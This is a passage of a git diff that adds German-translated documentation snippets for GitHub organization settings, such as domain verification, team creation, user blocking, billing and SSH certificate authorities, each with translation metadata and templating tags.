+„Sicherheits-Manager“ ist eine Rolle auf Organisationsebene, die Organisationsbesitzer jedem Team in einer Organisation zuweisen können. Wenn sie angewendet wird, erteilt sie jedem Mitglied des Teams Berechtigungen zum Verwalten von Sicherheitswarnungen und -einstellungen in Ihrer Organisation sowie Leseberechtigungen für alle Repositorys in der Organisation.
diff --git a/translations/de-DE/data/reusables/organizations/add-a-domain.md b/translations/de-DE/data/reusables/organizations/add-a-domain.md
new file mode 100644
index 0000000000..0a58da580f
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/add-a-domain.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0f2a0571a428301b509ccf7521c4b8b4a91b50ed
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108059"
+---
+1. Klicke auf **Domäne hinzufügen**.
+    ![Schaltfläche „Domäne hinzufügen“](/assets/images/help/organizations/add-a-domain-button.png)
diff --git a/translations/de-DE/data/reusables/organizations/add-dns-txt-record.md b/translations/de-DE/data/reusables/organizations/add-dns-txt-record.md
new file mode 100644
index 0000000000..ea04e6dac7
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/add-dns-txt-record.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 063dc80662bed6d976a3b9506ba8c20682d1b205
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108044"
+---
+1. Befolge die unter **TXT-Eintrag für DNS hinzufügen** angegebenen Anweisungen, um mit deinem Domänenhostingdienst einen TXT-Eintrag für DNS zu erstellen. 
+    ![Anweisungen zum Erstellen eines TXT-Eintrags für DNS](/assets/images/help/organizations/create-dns-txt-record-instructions.png)
diff --git a/translations/de-DE/data/reusables/organizations/add-domain.md b/translations/de-DE/data/reusables/organizations/add-domain.md
new file mode 100644
index 0000000000..77a1626c51
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/add-domain.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 9a6e3a66896890d727b9f7e70166b16f5e7e74a2
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147887817"
+---
+1. Gib im Domänenfeld die Domäne ein, die überprüft werden soll. Klicke anschließend auf **Domäne hinzufügen**.
+    ![Feld zum Hinzufügen einer Domäne](/assets/images/help/organizations/add-domain-field.png)
diff --git a/translations/de-DE/data/reusables/organizations/add-extension-to-cert.md b/translations/de-DE/data/reusables/organizations/add-extension-to-cert.md
new file mode 100644
index 0000000000..61f189e764
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/add-extension-to-cert.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5e69443221883b1d3cb49c55026643fdc0de425a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108039"
+---
+Wenn Du die einzelnen Client-Zertifikate ausstellst, musst Du eine Erweiterung einfügen, die festlegt, für welchen {% data variables.product.product_name %}-Benutzer das Zertifikat ist. Weitere Informationen findest du unter [Informationen zu SSH-Zertifizierungsstellen](/articles/about-ssh-certificate-authorities).
diff --git a/translations/de-DE/data/reusables/organizations/add-user-to-teams.md b/translations/de-DE/data/reusables/organizations/add-user-to-teams.md
new file mode 100644
index 0000000000..43b172c643
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/add-user-to-teams.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9ecdad244d406af65cf580eef9a391c502fd2927
+ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876897"
+---
+1. Füge den Benutzer optional zu Teams in der Organisation hinzu. ![Liste der Teams der Organisation](/assets/images/help/organizations/add-user-to-teams.png)
diff --git a/translations/de-DE/data/reusables/organizations/app-managers-settings-sidebar.md b/translations/de-DE/data/reusables/organizations/app-managers-settings-sidebar.md
new file mode 100644
index 0000000000..d8cd552627
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/app-managers-settings-sidebar.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 7a3283a1478be4d83af3c3af9f431e4d4fc1cffc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108032"
+---
+1. Klicke auf der linken Randleiste auf **App-Manager**.
+![Randleisten-Schaltfläche „App-Manager“](/assets/images/help/organizations/app-managers-sidebar-button.png)
diff --git a/translations/de-DE/data/reusables/organizations/billing-settings.md b/translations/de-DE/data/reusables/organizations/billing-settings.md
new file mode 100644
index 0000000000..c7a51669eb
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/billing-settings.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 5790dd2097756b223a09cd49ddba95aedf2556e4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108031"
+---
+{% data reusables.user-settings.access_settings %}
+1. Klicke im Abschnitt „Zugriff“ der Randleiste auf **{% octicon "organization" aria-label="The organization icon" %} Organisationen**.
+{% data reusables.profile.org_settings %}
+1. Wenn du Organisationsbesitzer bist, klicke im Abschnitt „Zugriff“ der Randleiste auf **{% octicon "credit-card" aria-label="The credit-card icon" %} Abrechnung und Pläne**.
diff --git a/translations/de-DE/data/reusables/organizations/billing_plans.md b/translations/de-DE/data/reusables/organizations/billing_plans.md
new file mode 100644
index 0000000000..e7f421ccbc
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/billing_plans.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Access" section of the sidebar, click **{% octicon "credit-card" aria-label="The credit card icon" %} Billing and plans**.
+{% else %}
+1. In your organization's Settings sidebar, click **Billing & plans**.
+![Billing settings](/assets/images/help/billing/settings_organization_billing_plans_tab.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/block_users.md b/translations/de-DE/data/reusables/organizations/block_users.md
new file mode 100644
index 0000000000..292b436c54
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/block_users.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fdb7938e6fd3a8f9a1ccebffd1ca40cc76fb1073
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108027"
+---
+1. Wähle in der Randleiste **{% octicon "report" aria-label="The report icon" %} Moderation** aus, und klicke dann auf **Blockierte Benutzer**.
diff --git a/translations/de-DE/data/reusables/organizations/blocking-a-user.md b/translations/de-DE/data/reusables/organizations/blocking-a-user.md
new file mode 100644
index 0000000000..55527f14b8
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/blocking-a-user.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 44fb7593fc71c38604cb0e7b96ea0439c7028a1f
+ms.sourcegitcommit: 1529de77bfcbe45519131b5f5fb3ab319758c2d2
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/14/2022
+ms.locfileid: "148164225"
+---
+Wenn du einen Benutzer blockierst, kannst du auswählen, ob er dauerhaft oder für einen bestimmten Zeitraum blockiert werden soll. Wenn du jemanden für einen bestimmten Zeitraum blockieren möchtest, wird die Sperre nach Ablauf dieser Zeit automatisch aufgehoben. Wenn du jemanden dauerhaft blockierst, kannst du die Sperre jederzeit manuell aufheben. Weitere Informationen findest du unter [Aufheben der Blockierung eines Benutzers für deine Organisation](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization).
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/organizations/can-require-ssh-cert.md b/translations/de-DE/data/reusables/organizations/can-require-ssh-cert.md
new file mode 100644
index 0000000000..f71eae8df3
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/can-require-ssh-cert.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7003221be37ffe4f7cc173c1de5ba73068543f13
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108023"
+---
+Du kannst festlegen, dass Mitglieder für den Zugriff auf Organisationsressourcen SSH-Zertifikate verwenden müssen, sofern SSH nicht in deinem Repository deaktiviert ist.
diff --git a/translations/de-DE/data/reusables/organizations/cancel_org_invite.md b/translations/de-DE/data/reusables/organizations/cancel_org_invite.md
new file mode 100644
index 0000000000..8a33391a0a
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/cancel_org_invite.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 6812a6acf832b2e785ceca0dc229b7743bed8368
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108016"
+---
+{% ifversion fpt or ghec %} Du kannst jederzeit [eine Einladung bearbeiten oder stornieren](/articles/canceling-or-editing-an-invitation-to-join-your-organization), bevor der Benutzer dies akzeptiert.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/child-team-inherits-permissions.md b/translations/de-DE/data/reusables/organizations/child-team-inherits-permissions.md
new file mode 100644
index 0000000000..bc053c1674
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/child-team-inherits-permissions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bbc2fa837cc78c8ea32c58793bb4e6046c86e644
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108003"
+---
+Untergeordnete Teams erben die Zugriffsberechtigungen des übergeordneten Teams. Weitere Informationen zu Teamhierarchien findest du unter [Informationen zu Teams](/articles/about-teams#nested-teams).
diff --git a/translations/de-DE/data/reusables/organizations/choose-to-restore-privileges.md b/translations/de-DE/data/reusables/organizations/choose-to-restore-privileges.md
new file mode 100644
index 0000000000..3a71c73f69
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/choose-to-restore-privileges.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: f48d8f2c8e9e4931b00f7ec1bb943f1cb2695252
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108000"
+---
+{% ifversion fpt or ghec %}1. Wenn die von dir eingeladene Person in den letzten drei Monaten Mitglied der Organisation war, wähle aus, ob du ihre Berechtigungen wiederherstellen oder von vorn beginnen möchtest, und klicke dann auf **Einladen und wiederherstellen** oder **Einladen und neu starten**.
+  ![Auswählen, ob Berechtigungen wiederhergestellt werden sollen](/assets/images/help/organizations/choose_whether_to_restore_org_member_info.png){% else %}
+1. Wenn die von dir hinzugefügte Person in den letzten drei Monaten Mitglied der Organisation war, wähle aus, ob du ihre Berechtigungen wiederherstellen oder von vorn beginnen möchtest, und klicke dann auf **Hinzufügen und wiederherstellen** oder **Hinzufügen und neu starten**.
+  ![Auswählen, ob Berechtigungen wiederhergestellt werden sollen](/assets/images/help/organizations/choose_whether_to_restore_org_member_info_ghe.png){% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/choose-user-license.md b/translations/de-DE/data/reusables/organizations/choose-user-license.md
new file mode 100644
index 0000000000..a59030a260
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/choose-user-license.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ffd984b24f9a0c9083770813179fcf8bfbbb275d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107999"
+---
+1. Wenn Deine Organisation zu einem Enterprise-Konto mit mehr als einer Lizenz gehört, wähle eine Lizenz für den Benutzer aus. ![Lizenzoptionen](/assets/images/help/organizations/choose-user-license.png)
diff --git a/translations/de-DE/data/reusables/organizations/choose-user-role-send-invitation.md b/translations/de-DE/data/reusables/organizations/choose-user-role-send-invitation.md
new file mode 100644
index 0000000000..b9dffcc379
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/choose-user-role-send-invitation.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 39dca791bca396273c4e77a81a265fcf4a6c24ae
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876957"
+---
+{% ifversion fpt or ghec %}1. Wenn die Person, die du einlädst, nie ein Mitglied der Organisation war, oder wenn du ihre Berechtigungen gelöscht hast, solltest du eine Rolle für den Benutzer auswählen, ihn optional einigen Teams hinzufügen und anschließend auf **Einladung senden** klicken.
+  ![Rollen- und Teamoptionen und Schaltfläche „Einladung senden“](/assets/images/help/organizations/add-role-send-invitation.png){% else %}
+1. Wenn die Person, die du einlädst, nie ein Mitglied der Organisation war, oder wenn du ihre Berechtigungen gelöscht hast, solltest du eine Rolle für den Benutzer auswählen, ihn optional einigen Teams hinzufügen und anschließend auf **Mitglied hinzufügen** klicken.
+  ![Rollen- und Teamoptionen und Schaltfläche „Mitglied hinzufügen“](/assets/images/help/organizations/add-role-add-member.png){% else %}
+1. Wähle eine Rolle für den Benutzer aus, und fügen ihn optional einigen Teams hinzu. Klicke anschließend auf **Mitglied hinzufügen**.
+  ![Rollen- und Teamoptionen und Schaltfläche „Mitglied hinzufügen“](/assets/images/help/organizations/add-role-add-member-2.7-lower.png){% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/choose-user-role.md b/translations/de-DE/data/reusables/organizations/choose-user-role.md
new file mode 100644
index 0000000000..63589efbd1
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/choose-user-role.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 676241293c9fb5e2d69e354543a6cadcd364978d
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145107992"
+---
+1. Wenn die Person, die du einlädst, noch nie Mitglied der Organisation war, oder wenn du ihre Privilegien gelöscht hast, wähle eine Organisation für den Benutzer aus. ![Optionen, um den Benutzer zu einem Mitglied oder Inhaber zu machen](/assets/images/help/organizations/choose-new-member-role.png)
diff --git a/translations/de-DE/data/reusables/organizations/click-codespaces.md b/translations/de-DE/data/reusables/organizations/click-codespaces.md
new file mode 100644
index 0000000000..ae823a265f
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/click-codespaces.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 57095145d8d31158538b6bca5fa65f29061a1178
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107991"
+---
+1. Klicke auf der linken Randleiste auf **{% octicon "codespaces" aria-label="The codespaces icon" %} Codespaces**.
diff --git a/translations/de-DE/data/reusables/organizations/continue-verifying-domain.md b/translations/de-DE/data/reusables/organizations/continue-verifying-domain.md
new file mode 100644
index 0000000000..5aa3c75a13
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/continue-verifying-domain.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: a3dfff575a8e6016105cb0bed221070d84b4eb0b
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145107988"
+---
+9. Klicke rechts neben der Domäne, für die die Überprüfung aussteht, auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und dann auf **Verifizierung fortsetzen**.
+![Schaltfläche „Verifizierung fortsetzen“ für Domäne](/assets/images/help/organizations/continue-verifying-domain.png)
+10. Klicken Sie auf **Überprüfen**.
+![Schaltfläche „Überprüfen“](/assets/images/help/organizations/verify-domain-final-button.png)
diff --git a/translations/de-DE/data/reusables/organizations/convert-owners-team-confirm.md b/translations/de-DE/data/reusables/organizations/convert-owners-team-confirm.md
new file mode 100644
index 0000000000..cf77a26166
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/convert-owners-team-confirm.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8afe6c7367717b0c9d7590d2dfcd7386bf5724b6
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145107987"
+---
+1. Klicke unter der Beschreibung der neuen Besitzerrolle auf **„OK, alles klar“** .
+![Beschreibung der neuen Besitzerrolle mit hervorgehobener Schaltfläche „OK, alles klar“](/assets/images/help/teams/okay-got-it.png)
diff --git a/translations/de-DE/data/reusables/organizations/create-team-choose-parent.md b/translations/de-DE/data/reusables/organizations/create-team-choose-parent.md
new file mode 100644
index 0000000000..b9b0de7ba6
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/create-team-choose-parent.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 804ff50ed353739efdff47bda8d4054a33993f10
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107984"
+---
+6. Wenn du ein [untergeordnetes Team](/articles/about-teams#nested-teams) erstellst, verwende optional das Dropdownmenü, um ein übergeordnetes Team für dein neues Team auszuwählen.
+  ![Dropdownmenü mit den vorhandenen Teams der Organisation](/assets/images/help/teams/choose-parent-team.png)
diff --git a/translations/de-DE/data/reusables/organizations/create_team.md b/translations/de-DE/data/reusables/organizations/create_team.md
new file mode 100644
index 0000000000..813cef9c31
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/create_team.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 64be72eba3b6dc3c2bd273347c2d54f47a7a4353
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145107976"
+---
+1. Klicke auf **Team erstellen**.
diff --git a/translations/de-DE/data/reusables/organizations/custom-repo-roles-ghec-only.md b/translations/de-DE/data/reusables/organizations/custom-repo-roles-ghec-only.md
new file mode 100644
index 0000000000..8046e46661
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/custom-repo-roles-ghec-only.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 5138879c90e5348928436f9ea7ab6c302c9735d1
+ms.sourcegitcommit: ca040a1871ab5e929b596686ef955b02c5afa051
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/02/2022
+ms.locfileid: "148131001"
+---
+{% ifversion ghec %} {% note %}
+
+**Hinweis:** Nur Organisationen, die {% data variables.product.prodname_ghe_cloud %} verwenden, können benutzerdefinierte Repositoryrollen erstellen. {% data reusables.enterprise.link-to-ghec-trial %}
+
+{% endnote %} {% endif %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/organizations/data_saved_for_reinstating_a_former_org_member.md b/translations/de-DE/data/reusables/organizations/data_saved_for_reinstating_a_former_org_member.md
new file mode 100644
index 0000000000..cbdb0af566
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/data_saved_for_reinstating_a_former_org_member.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 211355092b45b411c98239c91aa0a87aac33ea8c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107963"
+---
+{% note %}
+
+**Hinweis:** Wenn du einen Benutzer aus deiner Organisation entfernst, werden dessen Mitgliedschaftsdaten drei Monate lang gespeichert. Du kannst seine Daten oder die privaten Forks, die ihm in den Repositorys Deiner Organisation gehört haben, wiederherstellen, wenn Du den Benutzer einlädst, der Organisation innerhalb dieses Zeitraums erneut beizutreten. Weitere Informationen findest du unter [Reaktivieren eines ehemaligen Mitglieds deiner Organisation](/articles/reinstating-a-former-member-of-your-organization).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/organizations/delete-ssh-ca.md b/translations/de-DE/data/reusables/organizations/delete-ssh-ca.md
new file mode 100644
index 0000000000..03b82b193f
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/delete-ssh-ca.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 828c2915bfaa071950c9248f2dc40f5cd105fe93
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107960"
+---
+1. Klicke unter „SSH-Zertifizierungsstellen“ rechts neben der Zertifizierungsstelle, die du löschen möchtest, auf **Löschen**.
+  ![Schaltfläche „Löschen“](/assets/images/help/organizations/ca-delete-button.png)
+2. Lies die Warnung, und klicke dann auf **Verstanden, Zertifizierungsstelle löschen**.
+  ![Schaltfläche zum Bestätigen des Löschvorgangs](/assets/images/help/organizations/ca-delete-confirmation.png)
diff --git a/translations/de-DE/data/reusables/organizations/deleted-repos.md b/translations/de-DE/data/reusables/organizations/deleted-repos.md
new file mode 100644
index 0000000000..e08fbe9833
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/deleted-repos.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 38d5dca83378d257b17d6bcd24abc41899bbc42a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107956"
+---
+1. Klicke in der linken Randleiste auf **Gelöschte Repositorys**.
+  ![Registerkarte „Gelöschte Repositorys“](/assets/images/help/organizations/deleted-repos.png)
diff --git a/translations/de-DE/data/reusables/organizations/disable_project_board_results.md b/translations/de-DE/data/reusables/organizations/disable_project_board_results.md
new file mode 100644
index 0000000000..c0bba8a92d
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/disable_project_board_results.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d8b0b1d3b899ac3fc15756b36190ebe6eb875212
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145107955"
+---
+Wenn Sie Projektboards erneut aktivieren, stehen alle zuvor hinzugefügten Projektboards zur Verfügung.
diff --git a/translations/de-DE/data/reusables/organizations/domains-approve-domain.md b/translations/de-DE/data/reusables/organizations/domains-approve-domain.md
new file mode 100644
index 0000000000..9493ec3b2a
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/domains-approve-domain.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 838f589be39d4cc28ea3321ef3d3ff1c138fc03d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107952"
+---
+1. Lies die Informationen zur Domänengenehmigung, und klicke dann auf **Genehmigen _DOMÄNE_**.
+    ![Schaltfläche „DOMÄNE genehmigen“ im Bestätigungsdialogfeld](/assets/images/help/organizations/domains-approve-domain.png)
diff --git a/translations/de-DE/data/reusables/organizations/domains-approve-it-instead.md b/translations/de-DE/data/reusables/organizations/domains-approve-it-instead.md
new file mode 100644
index 0000000000..3692e2f2dd
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/domains-approve-it-instead.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 99aea4a69d28e74df6ec2317fe4b215180c0c3a3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107951"
+---
+1. Klicke rechts neben „Kann diese Domäne nicht überprüft werden?“ auf **Stattdessen genehmigen**.
+    ![Text „Stattdessen genehmigen“ beim Überprüfen einer Domäne](/assets/images/help/organizations/domains-approve-it-instead.png)
diff --git a/translations/de-DE/data/reusables/organizations/filter-security-overview.md b/translations/de-DE/data/reusables/organizations/filter-security-overview.md
new file mode 100644
index 0000000000..5d0aa20a19
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/filter-security-overview.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 1f0beb00b7347d4513f1be341069505af2b34ef4
+ms.sourcegitcommit: 094dff459fcbf7d0634930e02405606dfffd7f0a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/12/2022
+ms.locfileid: "148163171"
+---
+1. Optional kannst du die Liste der Warnungen filtern. Du kannst in den Dropdownfiltermenüs auf mehrere Filter klicken, um die Suche einzugrenzen. Du kannst auch Suchqualifizierer im Feld **Repositorys durchsuchen** eingeben. Weitere Informationen zu den verfügbaren Qualifizierern findest du unter [Filtern von Warnungen in der Sicherheitsübersicht](/code-security/security-overview/filtering-alerts-in-the-security-overview).
+  ![Die Dropdownfiltermenüs und das Feld zum Durchsuchen von Repositorys in der Sicherheitsübersicht](/assets/images/help/security-overview/security-overview-filter-alerts.png)
diff --git a/translations/de-DE/data/reusables/organizations/follow-organizations-beta.md b/translations/de-DE/data/reusables/organizations/follow-organizations-beta.md
new file mode 100644
index 0000000000..f152880ba2
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/follow-organizations-beta.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 4e2e744a966a1e1b8111f6f5194542f7512670fc
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109609"
+---
+{% note %}
+
+**Hinweis:** Die Möglichkeit, Organisationen zu folgen, befinden sich derzeit in der öffentlichen Betaversion und unterliegt Änderungen.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/organizations/github-apps-settings-sidebar.md b/translations/de-DE/data/reusables/organizations/github-apps-settings-sidebar.md
new file mode 100644
index 0000000000..439e009ac0
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/github-apps-settings-sidebar.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the left sidebar, select **{% octicon "code" aria-label="The code icon" %} Developer settings** then click **{% data variables.product.prodname_github_apps %}**.
+{% else %}
+1. In the left sidebar, click **{% data variables.product.prodname_github_apps %}**.
+![{% data variables.product.prodname_github_apps %} settings](/assets/images/help/organizations/github-apps-settings-sidebar.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/organizations/invite-teams-or-people.md b/translations/de-DE/data/reusables/organizations/invite-teams-or-people.md
new file mode 100644
index 0000000000..39d9d9230b
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/invite-teams-or-people.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 477402db423343d23bed2d08e8af2559e61dbd82
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145107943"
+---
+1. Klicke rechts neben „Zugriff verwalten“ auf **Personen hinzufügen** oder **Teams hinzufügen**.
+  ![Schaltfläche „Teams oder Personen einladen“](/assets/images/help/repository/manage-access-invite-button.png)
diff --git a/translations/de-DE/data/reusables/organizations/invite_member_from_people_tab.md b/translations/de-DE/data/reusables/organizations/invite_member_from_people_tab.md
new file mode 100644
index 0000000000..803e3b8983
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/invite_member_from_people_tab.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 7f1b2d62ddae5f44f3fe49fbff0cb18c1980db4e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145107940"
+---
+{% ifversion fpt or ghec %}1. Klicke auf der Registerkarte „Personen“ auf **Mitglied einladen**.
+  ![Schaltfläche „Mitglied einladen“](/assets/images/help/organizations/people-tab-invite-member.png){% else %}
+1. Klicke auf der Registerkarte „Personen“ auf **Mitglied hinzufügen**.
+  ![Schaltfläche „Mitglied hinzufügen“](/assets/images/help/organizations/people-tab-invite-member-ghe.png){% endif %}
